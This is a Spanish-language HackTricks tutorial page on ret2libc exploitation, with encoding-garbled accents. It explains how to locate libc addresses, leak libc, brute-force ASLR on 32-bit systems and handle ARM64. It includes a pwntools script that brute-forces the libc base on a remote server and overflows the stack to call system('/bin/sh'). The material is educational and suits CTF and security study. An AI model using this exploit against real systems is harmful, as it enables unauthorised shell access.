Ret2lib

Reading time: 7 minutes

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Informaci贸n B谩sica

La esencia de Ret2Libc es redirigir el flujo de ejecuci贸n de un programa vulnerable a una funci贸n dentro de una biblioteca compartida (por ejemplo, system, execve, strcpy) en lugar de ejecutar shellcode proporcionado por el atacante en la pila. El atacante elabora una carga 煤til que modifica la direcci贸n de retorno en la pila para apuntar a la funci贸n de la biblioteca deseada, mientras tambi茅n organiza que cualquier argumento necesario est茅 correctamente configurado de acuerdo con la convenci贸n de llamada.

Pasos de Ejemplo (simplificados)

  • Obtener la direcci贸n de la funci贸n a llamar (por ejemplo, system) y el comando a llamar (por ejemplo, /bin/sh)
  • Generar una cadena ROP para pasar el primer argumento apuntando a la cadena de comando y el flujo de ejecuci贸n a la funci贸n

Encontrando las direcciones

  • Suponiendo que la libc utilizada es la de la m谩quina actual, puedes encontrar d贸nde se cargar谩 en memoria con:
bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Si quieres verificar si el ASLR est谩 cambiando la direcci贸n de libc, puedes hacer:

bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Conocer la libc utilizada tambi茅n permite encontrar el desplazamiento a la funci贸n system con:
bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Conociendo la libc utilizada, tambi茅n es posible encontrar el desplazamiento a la cadena /bin/sh funci贸n con:
bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Usando gdb-peda / GEF

Conociendo la libc utilizada, tambi茅n es posible usar Peda o GEF para obtener la direcci贸n de la funci贸n system, de la funci贸n exit y de la cadena /bin/sh :

bash
p system
p exit
find "/bin/sh"

Usando /proc/<PID>/maps

Si el proceso est谩 creando hijos cada vez que hablas con 茅l (servidor de red), intenta leer ese archivo (probablemente necesitar谩s ser root).

Aqu铆 puedes encontrar exactamente d贸nde se carga la libc dentro del proceso y d贸nde se va a cargar para cada hijo del proceso.

En este caso se carga en 0xb75dc000 (Esta ser谩 la direcci贸n base de libc)

libc desconocida

Puede ser posible que no conozcas la libc que est谩 cargando el binario (porque podr铆a estar ubicada en un servidor al que no tienes acceso). En ese caso, podr铆as abusar de la vulnerabilidad para filtrar algunas direcciones y encontrar qu茅 biblioteca libc se est谩 utilizando:

Leaking libc address with ROP

Y puedes encontrar una plantilla de pwntools para esto en:

Leaking libc - template

Conocer libc con 2 offsets

Consulta la p谩gina https://libc.blukat.me/ y usa un par de direcciones de funciones dentro de la libc para averiguar la versi贸n utilizada.

Bypass de ASLR en 32 bits

Estos ataques de fuerza bruta son solo 煤tiles para sistemas de 32 bits.

  • Si el exploit es local, puedes intentar forzar la direcci贸n base de libc (煤til para sistemas de 32 bits):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Si atacas un servidor remoto, podr铆as intentar forzar la direcci贸n de la funci贸n usleep de libc, pasando como argumento 10 (por ejemplo). Si en alg煤n momento el servidor tarda 10s extra en responder, encontraste la direcci贸n de esta funci贸n.

One Gadget

Ejecuta un shell saltando a una direcci贸n espec铆fica en libc:

One Gadget

x86 Ret2lib C贸digo de Ejemplo

En este ejemplo, el brute-force de ASLR est谩 integrado en el c贸digo y el binario vulnerable se encuentra en un servidor remoto:

python
from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib C贸digo de Ejemplo

Consulta el ejemplo de:

ROP - Return Oriented Programing

ARM64 Ret2lib Ejemplo

En el caso de ARM64, la instrucci贸n ret salta a donde apunta el registro x30 y no a donde apunta el registro de pila. As铆 que es un poco m谩s complicado.

Adem谩s, en ARM64 una instrucci贸n hace lo que la instrucci贸n hace (no es posible saltar en medio de instrucciones y transformarlas en nuevas).

Consulta el ejemplo de:

Ret2lib + Printf leak - arm64

Ret-into-printf (o puts)

Esto permite filtrar informaci贸n del proceso al llamar a printf/puts con algunos datos espec铆ficos colocados como argumento. Por ejemplo, poner la direcci贸n de puts en la GOT en una ejecuci贸n de puts filtrar谩 la direcci贸n de puts en memoria.

Ret2printf

Esto b谩sicamente significa abusar de un Ret2lib para transformarlo en una vulnerabilidad de cadenas de formato de printf utilizando el ret2lib para llamar a printf con los valores para explotarlo (suena in煤til pero es posible):

Format Strings

Otros Ejemplos y referencias

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks